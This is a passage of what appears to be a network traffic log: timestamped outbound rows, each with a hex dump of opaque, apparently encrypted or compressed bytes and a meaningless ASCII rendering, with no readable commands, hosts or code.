Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:10 UTC	4967	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:10 UTC	4983	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:10 UTC	4999	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:10 UTC	5015	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:10 UTC	5031	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:10 UTC	5047	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:10 UTC	5063	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:10 UTC	5079	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:10 UTC	5095	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:10 UTC	5111	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:10 UTC	5127	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:10 UTC	5143	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:10 UTC	5159	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:10 UTC	5175	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:10 UTC	5191	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:10 UTC	5207	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:10 UTC	5223	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:10 UTC	5239	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:10 UTC	5255	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:10 UTC	5271	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 